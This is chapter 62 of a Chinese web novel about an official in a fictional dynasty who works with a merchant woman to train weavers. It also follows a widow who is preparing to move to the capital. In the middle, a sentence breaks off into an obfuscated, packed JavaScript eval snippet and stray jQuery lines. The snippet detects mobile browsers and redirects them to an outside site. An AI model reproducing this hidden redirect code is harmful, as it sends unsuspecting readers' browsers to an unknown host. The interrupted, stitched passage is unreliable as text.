62. 学清:商人

作品:《通房入仕当侍郎

    初学清参观完毕,叶馨儿请她到作坊内的一间书房议事。


    作坊内书房简陋,一桌一椅,一旁还摆了两个客人用的八仙椅。书案上放着笔墨纸砚,还有几本账册。


    她们便在这简陋的书房商议了许久,对织女和工匠的传授技法章程也做了规划。


    桑静榆脑中有自己的想法,如何安排,怎样传授,都有条不紊娓娓道来,与初学清商议后,落笔于纸上。


    初学清原以为技艺作为手工业的核心,很难说服一个商人为了国家大义贡献出来,她不禁感叹道:“原本给你寄信时,没想到你能这么痛快答应,未料你的回信那么快,连讨价还价都没有,还以为当初那个小丫头在商场浸淫几年,会变的市侩一些,可你一点都没变。不过,这些人走了以后,你这里人手不足了怎么办?”


    “再慢慢找吧。”叶馨儿笑笑收好手札,递给初学清,“不过,初大人有一句说错了,我可不是小丫头了,我都快要到二十岁了。”


    初学清愣怔一下,未料时光这么快,初识叶馨儿的时候,她才及笄,一晃五年过去了。


    那时叶父是樟安首屈一指的富商,原配早逝,只留了叶馨儿一个女儿,续弦也只生了一个女儿。初学清初任樟安知府,实施政策的时候,叶父给了很大帮助,带头支持初学清。


    只是叶父出了意外身亡,家中只有继室与两个孤女,族中的人为了争家产,纷纷劝说他的继室过继个儿子。


    本来都是叶家家务事,初学清不该插手,但叶父临终前不放心孤儿寡母,给初学清留了封信,拖她照顾孤儿寡母,并要他的长女叶馨儿接手家产。


    初学清便出面帮叶馨儿拿回了家产。


    叶馨儿也不负叶父所托,因着她自小跟着叶父走南闯北,也练就了八面玲珑的性子,就这样一个孤女撑起了偌大的家业。


    到后来,她还担任了樟安商会的会长。


    自然会有一些风言风语,甚至有人传过她背后的靠山就是初学清,桃色传闻总比正经的东西传得快。


    不过初学清一直和桑静榆伉俪情深,也是出了名的,这些传闻就在桑静榆正主的否认下不攻自破。


    而他们也的确让樟安的商业振兴,成了南北交易的重要枢纽,甚至隐隐传出“商都”的称号。


    如今一晃叶馨儿已年近二十,初学清不禁叹道:“白驹过隙,岁月如流,还好初心都在。”


    “初大人。”叶馨儿看向她,弯了弯唇角,声音清脆响亮,不似江南女子的婉转,“一般人听闻我的年龄,都会感叹我为何还不嫁人,只有您,在叹我的初心未改。”


    初学清摇摇头:“世人看女子,多看家世、姻缘,可我看女子,只看她品性、作为,只是……二十若不婚配,就要官媒出面了。”


    叶馨儿垂下眸子,眼神中一闪而过的凄凉,余光中是初学清一身青衫落拓:“我名声不好,寻上门的姻缘,多是看重我家家产,我总觉得,若寻不到自己想要的姻缘,不如就自己过,大不了缴些罚金。”


    初学清感叹道:“不知何时,女子才有选择的自由。”


    叶馨儿抬起眸子,“好羡慕桑姐姐,能找到初大人这样的如意郎君。见过你们那样的感情,我实在不想随便找个人成婚。”


    “是,总要找个合心意的,听闻你不日即将入京,届时为你介绍些青年才俊。”初学清揶揄道。


    叶馨儿噗嗤一笑,“那可得像初大人一样一表人才,不然,我可不去见。”


    “定要比我强的,才配得上你。”初学清笑着道。


    两人边说边往外走,初学清又对叶馨儿的鼎力相助多番感谢。


    叶馨儿身边的丫鬟见初学清这般言笑晏晏,便也插嘴道:“初大人,也就是我们家小姐仁义,这些工匠织女才能让去哪就去哪的,这要是换做周老板家,肯定谁也不听他的。”


    叶馨儿让丫鬟莫要多嘴,初学清却不介意,还让她接着说。


    小丫鬟便接着道:“周老板对下人极为苛刻,动辄打骂。前一阵,他儿子要收个通房丫鬟,哪知那丫鬟已与他家小厮私定了终身,周老板竟然将那小厮活活打死了,那丫鬟也为了小厮殉情了。”


    初学清知道周老板,他也是樟安商会一员,曾经叶馨儿当上会长之前,没少被他找麻烦,可以前也算守规矩,未料如今竟然如此无法无天,初学清正色问道:“那知府也不管吗?”


    “现在的知府哪比得上您在那会儿,要不然把我家小姐都逼走樟安了呢!”


    叶馨儿喝止了丫鬟的多嘴,忙道:“初大人莫听小丫头胡言,我去京城,也有其他方面的考量,何况樟安的生意也不会放下,只是交给手下的掌柜们罢了。”


    初学清沉下了脸,她知道,这不是一个小厮的性命,这是一个阶层的性命。律法虽严苛,可到了下面,怎样执行,却有很多的余地。尤其是,小厮是奴籍,加上之前私定终身,随便安个罪名,便可丢了性命。


    她这些年做了很多,可如今也只是为寒门争取些出路,这世道的不公还有很多,单推动一点就已如此之难,那横亘在眼前的层峦叠嶂,又如何推平呢。


    寒门、农民、商人、奴隶、女人……要想有话语权,必须有所用。大宁开国以后,急需休养生息,大力发展扶农政策,重农抑商,农民的生活才稍缓过来。


    及至她当上樟安知府,南方粮食不仅做到自给自足,还能供给北方,这才让商业有了发展的机会,商人才不像开国之初那样备受打压。


    而今朝堂多为世家子弟,难以深入百姓,朝廷对人才的的渴望,才让她的变法有了可以实施的土壤,才让寒门有了向上的可能。


    可奴仆、女人、还有更多贱籍的人,朝代更迭也不曾改变他们的地位,长此以往,他们自己甚至也习惯了仰人鼻息。


    初学清请了宋大娘一家帮自己操持家务,但只是支付工钱,并未让他们入奴籍,便有多个同僚劝她,这样会让下人生了二心,没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14314748|143224||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有身籍在手,无法掌控他们。


    她只叹可笑,她这样的,竟成了朝官中的另类。


    究竟何时,才能达到她想要的世道。


    *


    乌金西斜,薄暮洒在河上化作片片磷光。


    叶馨儿和初学清在作坊内议事时,杨若柳在成衣店内等着叶馨儿回来商议去京城的事宜。


    可未料却等来了柴富贵。


    杨若柳本以为昨日她都已经说了,会随叶馨儿去京城谋事,柴富贵定然也不会像往日一般殷勤。


    柴富贵对她存着心思,她是知道的,她先前的确想过也许能再嫁,可当叶馨儿提议去京城时,她还是毫不犹豫选择了跟去,毕竟她唯一的孩子还在京城,为了不影响他的前途,已多年未见,如今有了机会,哪怕默默守着他也好。


    还是要辜负柴富贵了。


    柴富贵跟着杨若柳到了二楼窗边,他也没心思看窗外的明媚春光,只盯着眼前看似弱柳扶风,实际外柔内刚的女子,小心翼翼地问道:“你何时去京城呢?”


    杨若柳为他斟了杯茶,递了过去,按捺住心中的酸涩,微弯唇角:“应是这个月就动身。”


    “我……”柴富贵支支吾吾的,黝黑的脸都憋红了,却也没憋出个句子。


    杨若柳似是知道他要说什么,打断道:“你也知道,我孩儿还在京城,原本我名声不好,便想着离他远些,可近年来跟着叶老板,生意越做越好,好似有了些底气,想试着离他近些。”


    柴富贵默默垂下了头,只低声道:“子不嫌母丑,你毕竟是他亲娘,他若敢不认你,我……”


    “我可不图他认我,只要远远能看着他就好,如今他都十二岁了,也都懂事了,应是也知道了我从前的事,我哪有脸去认他。”


    柴富贵脸色微变,忙道:“哪是你的错,都是……都是那些混账,欺软怕硬,专挑妇孺欺负。”


    “都过去了,我也不想再提。”杨若柳道,“这两年,承蒙柴大哥照顾,待我走了,你也要好生顾着自己。对了,你顺州的事处理完了吗?铺子忙的过来吗?”


    “铺子我关了。”柴富贵闷声道。


    “关了?”杨若柳讶异问道,“好好的,怎就关了?”


    柴富贵抬眼看了看她,语气倏尔变得坚定,鼓足勇气,提高嗓音道:“我跟你去京城!”


    杨若柳惊得险些打碎手中的茶杯,她未料柴富贵竟能说出这种话。嫁鸡随鸡,嫁狗随狗,向来是女方跟着男方走,若不是孩儿在京城,她恐怕也难以狠心抛下柴富贵去京城。


    两人虽谁都未挑明过,但柴富贵三天两头往这里跑,周围人都是这般默认的,连她自己都马上要抛下纠结,动了二嫁的念头。


    可她终是做了决定去京城,便在昨日那般明说,一般男子,要么说服她留下来,要么就此罢了,可柴富贵竟什么都没劝她,就这样要随她去京城。


    可她怎能如此自私地让柴富贵抛下这里的一切呢?